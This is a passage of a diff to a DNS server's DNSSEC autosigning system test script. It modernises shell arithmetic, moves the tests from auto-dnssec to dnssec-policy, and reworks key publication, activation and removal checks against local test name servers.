 $DIG $DIGOPTS dnskey . @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep 'RRSIG.*'" $newid "'\. ' dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking former standby key has only signed incrementally ($n)"
 ret=0
 $DIG $DIGOPTS txt . @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep 'RRSIG.*'" $newid "'\. ' dig.out.ns1.test$n > /dev/null && ret=1
 grep 'RRSIG.*'" $oldid "'\. ' dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that signing records have been marked as complete ($n)"
 ret=0
-checkprivate . 10.53.0.1 || ret=1
-checkprivate bar 10.53.0.2 || ret=1
-checkprivate example 10.53.0.2 || ret=1
-checkprivate private.secure.example 10.53.0.3 || ret=1
+checkprivate example 10.53.0.2 0 type65280 || ret=1 # sig-signing-type 65280
+checkprivate private.secure.example 10.53.0.3 2 || ret=1 # pre-signed
 checkprivate nsec3.example 10.53.0.3 || ret=1
 checkprivate nsec3.nsec3.example 10.53.0.3 || ret=1
 checkprivate nsec3.optout.example 10.53.0.3 || ret=1
-checkprivate nsec3-to-nsec.example 10.53.0.3 || ret=1
-checkprivate nsec.example 10.53.0.3 || ret=1
-checkprivate oldsigs.example 10.53.0.3 || ret=1
+checkprivate nsec3-to-nsec.example 10.53.0.3 2 || ret=1 # automatically removed
+if $SHELL ../testcrypto.sh -q RSASHA1
+then
+    checkprivate nsec-only.example 10.53.0.3 || ret=1
+fi
+checkprivate oldsigs.example 10.53.0.3 2 || ret=1 # pre-signed
 checkprivate optout.example 10.53.0.3 || ret=1
 checkprivate optout.nsec3.example 10.53.0.3 || ret=1
 checkprivate optout.optout.example 10.53.0.3 || ret=1
-checkprivate prepub.example 10.53.0.3 1 || ret=1
+checkprivate prepub.example 10.53.0.3 2 || ret=1 # pre-signed
 checkprivate rsasha256.example 10.53.0.3 || ret=1
 checkprivate rsasha512.example 10.53.0.3 || ret=1
 checkprivate secure.example 10.53.0.3 || ret=1
 checkprivate secure.nsec3.example 10.53.0.3 || ret=1
 checkprivate secure.optout.example 10.53.0.3 || ret=1
-checkprivate secure-to-insecure2.example 10.53.0.3 || ret=1
-checkprivate secure-to-insecure.example 10.53.0.3 || ret=1
 checkprivate ttl1.example 10.53.0.3 || ret=1
 checkprivate ttl2.example 10.53.0.3 || ret=1
 checkprivate ttl3.example 10.53.0.3 || ret=1
 checkprivate ttl4.example 10.53.0.3 || ret=1
-n=`expr $n + 1`
-status=`expr $status + $ret`
+n=$((n + 1))
+status=$((status + ret))
 
-echo_i "forcing full sign"
-($RNDCCMD 10.53.0.1 sign . 2>&1 | sed 's/^/ns1 /' | cat_i) || ret=1
+echo_i "forcing full sign ($n)"
+ret=0
+($RNDCCMD 10.53.0.1 freeze . 2>&1 | sed 's/^/ns1 /' | cat_i) || ret=1
+cp ns1/root.db.signed ns1/root.db.2
+$SIGNER -S -o . -O full -K ns1 -f ns1/root.db.signed ns1/root.db > signing.root.out$n 2>&1 || ret=1
+($RNDCCMD 10.53.0.1 thaw . 2>&1 | sed 's/^/ns1 /' | cat_i) || ret=1
+n=$((n + 1))
+if [ $ret != 0 ]; then echo_i "failed"; fi
 
 echo_i "waiting for change to take effect"
 sleep 5
 
-echo_i "checking former standby key has now signed fully ($n)"
+echo_i "checking former standby key $newid has now signed fully ($n)"
 ret=0
 $DIG $DIGOPTS txt . @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep 'RRSIG.*'" $newid "'\. ' dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking SOA serial number has been incremented ($n)"
 ret=0
-newserial=`$DIG $DIGOPTS +short soa . @10.53.0.1 | awk '{print $3}'`
+newserial=$($DIG $DIGOPTS +short soa . @10.53.0.1 | awk '{print $3}')
 [ "$newserial" != "$oldserial" ] || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
+
+echo_i "preparing to test key change corner cases"
+echo_i "removing a private key file"
+file="ns1/$(cat vanishing.key).private"
+rm -f $file
 
 echo_i "checking delayed key publication/activation ($n)"
 ret=0
-zsk=`cat delayzsk.key`
-ksk=`cat delayksk.key`
+zsk=$(cat delayzsk.key)
+ksk=$(cat delayksk.key)
 # publication and activation times should be unset
 $SETTIME -K ns3 -pA -pP $zsk > settime.out.test$n.zsk || ret=1
 grep -v UNSET settime.out.test$n.zsk >/dev/null && ret=1
@@ -1204,38 +969,41 @@ grep -v UNSET settime.out.test$n.ksk >/dev/null && ret=1
 $DIG $DIGOPTS +noall +answer dnskey delay.example. @10.53.0.3 > dig.out.ns3.test$n || ret=1
 # DNSKEY not expected:
 awk 'BEGIN {r=1} $4=="DNSKEY" {r=0} END {exit r}' dig.out.ns3.test$n && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking scheduled key publication, not activation ($n)"
 ret=0
 # Ensure initial zone is loaded.
 wait_for_notifies "delay.example" "ns3" || ret=1
-$SETTIME -K ns3 -P now+3s -A none $zsk > settime.out.test$n.zsk || ret=1
-$SETTIME -K ns3 -P now+3s -A none $ksk > settime.out.test$n.ksk || ret=1
-($RNDCCMD 10.53.0.3 loadkeys delay.example. 2>&1 | sed 's/^/ns2 /' | cat_i) || ret=1
-echo_i "waiting for changes to take effect"
-sleep 3
-wait_for_notifies "delay.example" "ns3" || ret=1
-
-$DIG $DIGOPTS +noall +answer dnskey delay.example. @10.53.0.3 > dig.out.ns3.test$n || ret=1
-# DNSKEY expected:
-awk 'BEGIN {r=1} $4=="DNSKEY" {r=0} END {exit r}' dig.out.ns3.test$n || ret=1
-# RRSIG not expected:
-awk 'BEGIN {r=1} $4=="RRSIG" {r=0} END {exit r}' dig.out.ns3.test$n && ret=1
-n=`expr $n + 1`
+$SETTIME -K ns3 -P now -A none $zsk > settime.out.test$n.zsk || ret=1
+$SETTIME -K ns3 -P now -A none $ksk > settime.out.test$n.ksk || ret=1
+cp ns3/delay.example.db ns3/delay.example.1
+# This will create a non valid DNSSEC zone, disable post-sign verification
+$SIGNER -P -S -o delay.example. -O full -N increment -K ns3 -f ns3/delay.example.db ns3/delay.example.1 > signing.delay.out.$n 2>&1 || ret=1
+($RNDCCMD 10.53.0.3 reload delay.example | sed 's/^/ns3 /' | cat_i) || ret=1
+check_has_dnskey() {
+  $DIG $DIGOPTS +noall +answer dnskey delay.example. @10.53.0.3 > dig.out.ns3.test$n || return 1
+  # DNSKEY expected:
+  awk 'BEGIN {r=1} $4=="DNSKEY" {r=0} END {exit r}' dig.out.ns3.test$n || return 1
+  # RRSIG not expected:
+  awk 'BEGIN {r=1} $4=="RRSIG" {r=0} END {exit r}' dig.out.ns3.test$n && return 1
+  return 0
+}
+retry_quiet 5 check_has_dnskey || ret=1
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking scheduled key activation ($n)"
 ret=0
-$SETTIME -K ns3 -A now+3s $zsk > settime.out.test$n.zsk || ret=1
-$SETTIME -K ns3 -A now+3s $ksk > settime.out.test$n.ksk || ret=1
-($RNDCCMD 10.53.0.3 loadkeys delay.example. 2>&1 | sed 's/^/ns2 /' | cat_i) || ret=1
-echo_i "waiting for changes to take effect"
-sleep 3
-wait_for_log 10 "add delay\.example\..*NSEC.a\.delay\.example\. NS SOA RRSIG NSEC DNSKEY" ns3/named.run
+sleep 1 # ensure file system time stamp of ns3/delay.example.db changes
+$SETTIME -K ns3 -A now $zsk > settime.out.test$n.zsk || ret=1
+$SETTIME -K ns3 -A now $ksk > settime.out.test$n.ksk || ret=1
+cp ns3/delay.example.db ns3/delay.example.2
+$SIGNER -S -o delay.example. -O full -N increment -K ns3 -f ns3/delay.example.db ns3/delay.example.2 > signing.delay.out.$n 2>&1 || ret=1
+($RNDCCMD 10.53.0.3 reload delay.example | sed 's/^/ns3 /' | cat_i) || ret=1
 check_is_signed() {
   $DIG $DIGOPTS +noall +answer dnskey delay.example. @10.53.0.3 > dig.out.ns3.1.test$n || return 1
   # DNSKEY expected:
@@ -1250,101 +1018,65 @@ check_is_signed() {
   return 0
 }
 retry_quiet 5 check_is_signed || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking former active key was removed ($n)"
 #
 # Work out how long we need to sleep. Allow 4 seconds for the records
 # to be removed.
 #
-now=`$PERL -e 'print time(), "\n";'`
-sleep=`expr $starttime + 29 - $now`
+now=$($PERL -e 'print time(), "\n";')
+sleep=$((starttime + 29 - now))
 case $sleep in
 -*|0);;
-*) echo_i "waiting for timer to have activated"; sleep $sleep;;
+*) echo_i "waiting $sleep seconds for timer to have activated"; sleep $sleep;;
 esac
 ret=0
+($RNDCCMD 10.53.0.1 freeze . 2>&1 | sed 's/^/ns1 /' | cat_i) || ret=1
+cp ns1/root.db.signed ns1/root.db.3
+$SIGNER -v 3 -S -o . -O full -K ns1 -f ns1/root.db.signed ns1/root.db.3 > signing.root.out$n 2>&1 || ret=1
+($RNDCCMD 10.53.0.1 thaw . 2>&1 | sed 's/^/ns1 /' | cat_i) || ret=1
 $DIG $DIGOPTS +multi dnskey . @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep '; key id = '"$oldid"'$' dig.out.ns1.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "checking private key file removal caused no immediate harm ($n)"
+id=$(keyfile_to_key_id "$(cat vanishing.key)")
+echo_i "checking private key file $id removal caused no immediate harm ($n)"
 ret=0
 id=$(keyfile_to_key_id "$(cat vanishing.key)")
-$DIG $DIGOPTS dnskey . @10.53.0.1 > dig.out.ns1.test$n || ret=1
+$DIG $DIGOPTS soa . @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep 'RRSIG.*'" $id "'\. ' dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "checking revoked key with duplicate key ID (failure expected) ($n)"
-lret=0
-id=30676
-$DIG $DIGOPTS +multi dnskey bar @10.53.0.2 > dig.out.ns2.test$n || lret=1
-grep '; key id = '"$id"'$' dig.out.ns2.test$n > /dev/null || lret=1
-$DIG $DIGOPTS dnskey bar @10.53.0.4 > dig.out.ns4.test$n || lret=1
-grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || lret=1
-n=`expr $n + 1`
-if [ $lret != 0 ]; then echo_i "not yet implemented"; fi
+echo_i "checking revoked key with duplicate key ID ($n)"
+ret=0
+id=59973
+rid=60101
+$DIG $DIGOPTS +multi dnskey bar @10.53.0.2 > dig.out.ns2.test$n || ret=1
+grep '; key id = '"$id"'$' dig.out.ns2.test$n > /dev/null && ret=1
+keys=$(grep '; key id = '"$rid"'$' dig.out.ns2.test$n | wc -l)
+test $keys -eq 2 || ret=1
+$DIG $DIGOPTS dnskey bar @10.53.0.4 > dig.out.ns4.test$n || ret=1
+grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
+n=$((n + 1))
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
 echo_i "checking key event timers are always set ($n)"
+ret=0
 # this is a regression test for a bug in which the next key event could
 # be scheduled for the present moment, and then never fire.  check for
 # visible evidence of this error in the logs:
 awk '/next key event/ {if ($1 == $8 && $2 == $9) exit 1}' */named.run || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-# this confirms that key events are never scheduled more than
-# 'dnssec-loadkeys-interval' minutes in the future, and that the
-# event scheduled is within 10 seconds of expected interval.
-check_interval () {
-        awk '/next key event/ {print $2 ":" $9}' $1/named.run |
-	sed -e 's/\.//g' -e 's/:0\{1,4\}/:/g' |
-            awk -F: '
-                     {
-                       x = ($6+ $5*60000 + $4*3600000) - ($3+ $2*60000 + $1*3600000);
-		       # abs(x) < 1000 ms treat as 'now'
-		       if (x < 1000 && x > -1000)
-                         x = 0;
-		       # convert to seconds
-		       x = x/1000;
-		       # handle end of day roll over
-		       if (x < 0)
-			 x = x + 24*3600;
-		       # handle log timestamp being a few milliseconds later
-                       if (x != int(x))
-                         x = int(x + 1);
-                       if (int(x) > int(interval))
-                         exit (1);
-                     }
-                     END { if (int(x) > int(interval) || int(x) < int(interval-10)) exit(1) }' interval=$2
-        return $?
-}
-
-echo_i "checking automatic key reloading interval ($n)"
-ret=0
-check_interval ns1 3600 || ret=1
-check_interval ns2 1800 || ret=1
-check_interval ns3 600 || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "checking for key reloading loops ($n)"
-ret=0
-# every key event should schedule a successor, so these should be equal
-rekey_calls=`grep "reconfiguring zone keys" ns*/named.run | wc -l`
-rekey_events=`grep "next key event" ns*/named.run | wc -l`
-[ "$rekey_calls" = "$rekey_events" ] || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "forcing full sign with unreadable keys ($n)"
 ret=0
@@ -1352,31 +1084,31 @@ chmod 0 ns1/K.+*+*.key ns1/K.+*+*.private || ret=1
 ($RNDCCMD 10.53.0.1 sign . 2>&1 | sed 's/^/ns1 /' | cat_i) || ret=1
 $DIG $DIGOPTS . @10.53.0.1 dnskey > dig.out.ns1.test$n || ret=1
 grep "status: NOERROR" dig.out.ns1.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "test turning on auto-dnssec during reconfig ($n)"
+echo_i "test turning on dnssec-policy during reconfig ($n)"
 ret=0
-# first create a zone that doesn't have auto-dnssec
+# first create a zone that doesn't have dnssec-policy
 ($RNDCCMD 10.53.0.3 addzone reconf.example '{ type primary; file "reconf.example.db"; };' 2>&1 | sed 's/^/ns3 /' | cat_i) || ret=1
-rekey_calls=`grep "zone reconf.example.*next key event" ns3/named.run | wc -l`
+rekey_calls=$(grep "zone reconf.example.*next key event" ns3/named.run | wc -l)
 [ "$rekey_calls" -eq 0 ] || ret=1
-# ...then we add auto-dnssec and reconfigure
-($RNDCCMD 10.53.0.3 modzone reconf.example '{ type primary; file "reconf.example.db"; allow-update { any; }; auto-dnssec maintain; };' 2>&1 | sed 's/^/ns3 /' | cat_i) || ret=1
+# ...then we add dnssec-policy and reconfigure
+($RNDCCMD 10.53.0.3 modzone reconf.example '{ type primary; file "reconf.example.db"; allow-update { any; }; dnssec-policy default; };' 2>&1 | sed 's/^/ns3 /' | cat_i) || ret=1
 rndc_reconfig ns3 10.53.0.3
 for i in 0 1 2 3 4 5 6 7 8 9; do
     lret=0
-    rekey_calls=`grep "zone reconf.example.*next key event" ns3/named.run | wc -l`
+    rekey_calls=$(grep "zone reconf.example.*next key event" ns3/named.run | wc -l)
     [ "$rekey_calls" -gt 0 ] || lret=1
     if [ "$lret" -eq 0 ]; then break; fi
     echo_i "waiting ... ($i)"
     sleep 1
 done
-n=`expr $n + 1`
+n=$((n + 1))
 if [ "$lret" != 0 ]; then ret=$lret; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "test CDS and CDNSKEY auto generation ($n)"
 ret=0
@@ -1384,194 +1116,104 @@ $DIG $DIGOPTS @10.53.0.3 sync.example cds > dig.out.ns3.cdstest$n
 $DIG $DIGOPTS @10.53.0.3 sync.example cdnskey > dig.out.ns3.cdnskeytest$n
 grep -i "sync.example.*in.cds.*[1-9][0-9]* " dig.out.ns3.cdstest$n > /dev/null || ret=1
 grep -i "sync.example.*in.cdnskey.*257 " dig.out.ns3.cdnskeytest$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "test 'dnssec-dnskey-kskonly no' affects DNSKEY/CDS/CDNSKEY ($n)"
+echo_i "test 'csk' affects DNSKEY/CDS/CDNSKEY ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.3 sync.example dnskey > dig.out.ns3.dnskeytest$n
 $DIG $DIGOPTS @10.53.0.3 sync.example cdnskey > dig.out.ns3.cdnskeytest$n
 $DIG $DIGOPTS @10.53.0.3 sync.example cds > dig.out.ns3.cdstest$n
-lines=`awk '$4 == "RRSIG" && $5 == "DNSKEY" {print}' dig.out.ns3.dnskeytest$n | wc -l`
+lines=$(awk '$4 == "RRSIG" && $5 == "DNSKEY" {print}' dig.out.ns3.dnskeytest$n | wc -l)
 test ${lines:-0} -eq 2 || ret=1
-lines=`awk '$4 == "RRSIG" && $5 == "CDNSKEY" {print}' dig.out.ns3.cdnskeytest$n | wc -l`
+lines=$(awk '$4 == "RRSIG" && $5 == "CDNSKEY" {print}' dig.out.ns3.cdnskeytest$n | wc -l)
 test ${lines:-0} -eq 2 || ret=1
-lines=`awk '$4 == "RRSIG" && $5 == "CDS" {print}' dig.out.ns3.cdstest$n | wc -l`
+lines=$(awk '$4 == "RRSIG" && $5 == "CDS" {print}' dig.out.ns3.cdstest$n | wc -l)
 test ${lines:-0} -eq 2 || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "test 'dnssec-dnskey-kskonly yes' affects DNSKEY/CDS/CDNSKEY ($n)"
+echo_i "test 'ksk' affects DNSKEY/CDS/CDNSKEY ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.3 kskonly.example dnskey > dig.out.ns3.dnskeytest$n
 $DIG $DIGOPTS @10.53.0.3 kskonly.example cdnskey > dig.out.ns3.cdnskeytest$n
 $DIG $DIGOPTS @10.53.0.3 kskonly.example cds > dig.out.ns3.cdstest$n
-lines=`awk '$4 == "RRSIG" && $5 == "DNSKEY" {print}' dig.out.ns3.dnskeytest$n | wc -l`
+lines=$(awk '$4 == "RRSIG" && $5 == "DNSKEY" {print}' dig.out.ns3.dnskeytest$n | wc -l)
 test ${lines:-0} -eq 1 || ret=1
-lines=`awk '$4 == "RRSIG" && $5 == "CDNSKEY" {print}' dig.out.ns3.cdnskeytest$n | wc -l`
+lines=$(awk '$4 == "RRSIG" && $5 == "CDNSKEY" {print}' dig.out.ns3.cdnskeytest$n | wc -l)
 test ${lines:-0} -eq 1 || ret=1
-lines=`awk '$4 == "RRSIG" && $5 == "CDS" {print}' dig.out.ns3.cdstest$n | wc -l`
+lines=$(awk '$4 == "RRSIG" && $5 == "CDS" {print}' dig.out.ns3.cdstest$n | wc -l)
 test ${lines:-0} -eq 1 || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "setting CDS and CDNSKEY deletion times and calling 'rndc loadkeys'"
-$SETTIME -D sync now `cat sync.key` > settime.out.test$n || ret=1
-($RNDCCMD 10.53.0.3 loadkeys sync.example | sed 's/^/ns3 /' | cat_i) || ret=1
-
-echo_i "checking that the CDS and CDNSKEY are deleted ($n)"
-ret=0
-ensure_cds_and_cdnskey_are_deleted() {
-	$DIG $DIGOPTS @10.53.0.3 sync.example. CDS > dig.out.ns3.cdstest$n || return 1
-	awk '$1 == "sync.example." && $4 == "CDS" { exit 1; }' dig.out.ns3.cdstest$n || return 1
-	$DIG $DIGOPTS @10.53.0.3 sync.example. CDNSKEY > dig.out.ns3.cdnskeytest$n || return 1
-	awk '$1 == "sync.example." && $4 == "CDNSKEY" { exit 1; }' dig.out.ns3.cdnskeytest$n || return 1
-}
-retry 10 ensure_cds_and_cdnskey_are_deleted || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+# XXXWMM Replace this test with dnssec-policy equivalent once we have
+# implemented 'cdnskey "only-during-rollovers";'.
+#echo_i "setting CDS and CDNSKEY deletion times and calling 'rndc loadkeys'"
+#$SETTIME -D sync now $(cat sync.key) > settime.out.test$n || ret=1
+#($RNDCCMD 10.53.0.3 loadkeys sync.example | sed 's/^/ns3 /' | cat_i) || ret=1
+#
+#echo_i "checking that the CDS and CDNSKEY are deleted ($n)"
+#ret=0
+#ensure_cds_and_cdnskey_are_deleted() {
+#	$DIG $DIGOPTS @10.53.0.3 sync.example. CDS > dig.out.ns3.cdstest$n || return 1
+#	awk '$1 == "sync.example." && $4 == "CDS" { exit 1; }' dig.out.ns3.cdstest$n || return 1
+#	$DIG $DIGOPTS @10.53.0.3 sync.example. CDNSKEY > dig.out.ns3.cdnskeytest$n || return 1
+#	awk '$1 == "sync.example." && $4 == "CDNSKEY" { exit 1; }' dig.out.ns3.cdnskeytest$n || return 1
+#}
+#retry 10 ensure_cds_and_cdnskey_are_deleted || ret=1
+#n=$((n + 1))
+#if [ $ret != 0 ]; then echo_i "failed"; fi
+#status=$((status + ret))
 
 echo_i "check that dnssec-settime -p Dsync works ($n)"
 ret=0
-$SETTIME -p Dsync `cat sync.key` > settime.out.test$n || ret=1
+$SETTIME -p Dsync $(cat sync.key) > settime.out.test$n || ret=1
 grep "SYNC Delete:" settime.out.test$n >/dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that dnssec-settime -p Psync works ($n)"
 ret=0
-$SETTIME -p Psync `cat sync.key` > settime.out.test$n || ret=1
+$SETTIME -p Psync $(cat sync.key) > settime.out.test$n || ret=1
 grep "SYNC Publish:" settime.out.test$n >/dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "check that zone with inactive KSK and active ZSK is properly autosigned ($n)"
-ret=0
-$DIG $DIGOPTS @10.53.0.3 axfr inacksk2.example > dig.out.ns3.test$n
-
-zskid=`awk '$4 == "DNSKEY" && $5 == 256 { print }' dig.out.ns3.test$n |
-       $DSFROMKEY -A -2 -f - inacksk2.example | awk '{ print $4}' `
-pattern="DNSKEY 7 2 [0-9]* [0-9]* [0-9]* ${zskid} "
-grep "${pattern}" dig.out.ns3.test$n > /dev/null || ret=1
-
-kskid=`awk '$4 == "DNSKEY" && $5 == 257 { print }' dig.out.ns3.test$n |
-       $DSFROMKEY -2 -f - inacksk2.example | awk '{ print $4}' `
-pattern="DNSKEY 7 2 [0-9]* [0-9]* [0-9]* ${kskid} "
-grep "${pattern}" dig.out.ns3.test$n > /dev/null && ret=1
-
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that zone with inactive ZSK and active KSK is properly autosigned ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.3 axfr inaczsk2.example > dig.out.ns3.test$n
-grep "SOA 7 2" dig.out.ns3.test$n > /dev/null || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-#
-# Check that DNSKEY is now signed with the ZSK.
-#
-echo_i "check that zone with active and inactive KSK and active ZSK is properly"
-echo_ic "resigned after the active KSK is deleted - stage 2: Verify that DNSKEY"
-echo_ic "is now signed with the ZSK. ($n)"
-ret=0
-
-$DIG $DIGOPTS @10.53.0.3 axfr inacksk3.example > dig.out.ns3.test$n
-
-zskid=`awk '$4 == "DNSKEY" && $5 == 256 { print }' dig.out.ns3.test$n |
-       $DSFROMKEY -A -2 -f - inacksk3.example | awk '{ print $4}' `
-pattern="DNSKEY 7 2 [0-9]* [0-9]* [0-9]* ${zskid} "
-grep "${pattern}" dig.out.ns3.test$n > /dev/null || ret=1
-
-count=`awk 'BEGIN { count = 0 }
-       $4 == "RRSIG" && $5 == "DNSKEY" { count++ }
-       END {print count}' dig.out.ns3.test$n`
-test $count -eq 1 || ret=1
-
-count=`awk 'BEGIN { count = 0 }
-       $4 == "DNSKEY" { count++ }
-       END {print count}' dig.out.ns3.test$n`
-test $count -eq 2 || ret=1
-
-n=`expr $n + 1`
+grep "SOA ${DEFAULT_ALGORITHM_NUMBER} 2" dig.out.ns3.test$n > /dev/null || ret=1
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-#
-# Check that zone is now signed with the KSK.
-#
-echo_i "check that zone with active and inactive ZSK and active KSK is properly"
-echo_ic "resigned after the active ZSK is deleted - stage 2: Verify that zone"
-echo_ic "is now signed with the KSK. ($n)"
-ret=0
-$DIG $DIGOPTS @10.53.0.3 axfr inaczsk3.example > dig.out.ns3.test$n
-kskid=`awk '$4 == "DNSKEY" && $5 == 257 { print }' dig.out.ns3.test$n |
-       $DSFROMKEY -2 -f - inaczsk3.example | awk '{ print $4}' `
-grep "CNAME 7 3 [0-9]* [0-9]* [0-9]* ${kskid} " dig.out.ns3.test$n > /dev/null || ret=1
-count=`awk 'BEGIN { count = 0 }
-       $4 == "RRSIG" && $5 == "CNAME" { count++ }
-       END {print count}' dig.out.ns3.test$n`
-test $count -eq 1 || ret=1
-count=`awk 'BEGIN { count = 0 }
-       $4 == "DNSKEY" { count++ }
-       END {print count}' dig.out.ns3.test$n`
-test $count -eq 2 || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking for out-of-zone NSEC3 records after ZSK removal ($n)"
 ret=0
-# Switch the zone over to NSEC3 and wait until the transition is complete.
-$RNDCCMD 10.53.0.3 signing -nsec3param 1 1 10 12345678 delzsk.example. > signing.out.1.test$n 2>&1 || ret=1
-for i in 0 1 2 3 4 5 6 7 8 9; do
-	_ret=1
-	$DIG $DIGOPTS delzsk.example NSEC3PARAM @10.53.0.3 > dig.out.ns3.1.test$n 2>&1 || ret=1
-	grep "NSEC3PARAM.*12345678" dig.out.ns3.1.test$n > /dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		$RNDCCMD 10.53.0.3 signing -list delzsk.example > signing.out.2.test$n 2>&1
-		grep "Creating NSEC3 chain " signing.out.2.test$n > /dev/null 2>&1
-		if [ $? -ne 0 ]; then
-			_ret=0
-			break
-		fi
-	fi
-	sleep 1
-done
-if [ $_ret -ne 0 ]; then
-	echo_i "timed out waiting for NSEC3 chain creation"
-	ret=1
-fi
-# Mark the inactive ZSK as pending removal.
-file="ns3/`cat delzsk.key`.key"
-$SETTIME -D now-1h $file > settime.out.test$n || ret=1
-# Trigger removal of the inactive ZSK and wait until its completion.
-($RNDCCMD 10.53.0.3 loadkeys delzsk.example 2>&1 | sed 's/^/ns3 /' | cat_i) || ret=1
-for i in 0 1 2 3 4 5 6 7 8 9; do
-	_ret=1
-	$RNDCCMD 10.53.0.3 signing -list delzsk.example > signing.out.3.test$n 2>&1
-	grep "Signing " signing.out.3.test$n > /dev/null 2>&1
-	if [ $? -ne 0 ]; then
-		if [ `grep "Done signing " signing.out.3.test$n | wc -l` -eq 2 ]; then
-			_ret=0
-			break
-		fi
-	fi
-	sleep 1
-done
-if [ $_ret -ne 0 ]; then
+# Delete the ZSK
+file="ns3/inactive/$(cat delzsk.key).key"
+$NSUPDATE > nsupdate.out.test$n 2>&1 <<END
+server 10.53.0.3 ${PORT}
+zone delzsk.example.
+update del $(cat $file | grep -v ";.*")
+send
+END
+
+zsk_is_gone() {
+  $DIG $DIGOPTS +noall +multi +answer dnskey delzsk.example. @10.53.0.3 > dig.out.ns3.test$n || return 1
+  grep '; key id = '"$oldid"'$' dig.out.ns3.test$n > /dev/null && return 1
+  return 0
+}
+retry_quiet 5 zsk_is_gone || ret=1
+if [ $ret -ne 0 ]; then
 	echo_i "timed out waiting for key removal"
-	ret=1
 fi
+
 # Check whether key removal caused NSEC3 records to be erroneously created for
 # glue records due to a secure delegation already being signed by the active key
 # (i.e. a key other than the one being removed but using the same algorithm).
@@ -1583,17 +1225,17 @@ fi
 #
 $DIG $DIGOPTS delzsk.example AXFR @10.53.0.3 > dig.out.ns3.3.test$n || ret=1
 grep "589R358VSPJUFVAJU949JPVF74D9PTGH" dig.out.ns3.3.test$n > /dev/null 2>&1 && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "check that DNAME at apex with NSEC3 is correctly signed (auto-dnssec maintain) ($n)"
+echo_i "check that DNAME at apex with NSEC3 is correctly signed (dnssec-policy) ($n)"
 ret=0
 $DIG $DIGOPTS txt dname-at-apex-nsec3.example @10.53.0.3 > dig.out.ns3.test$n || ret=1
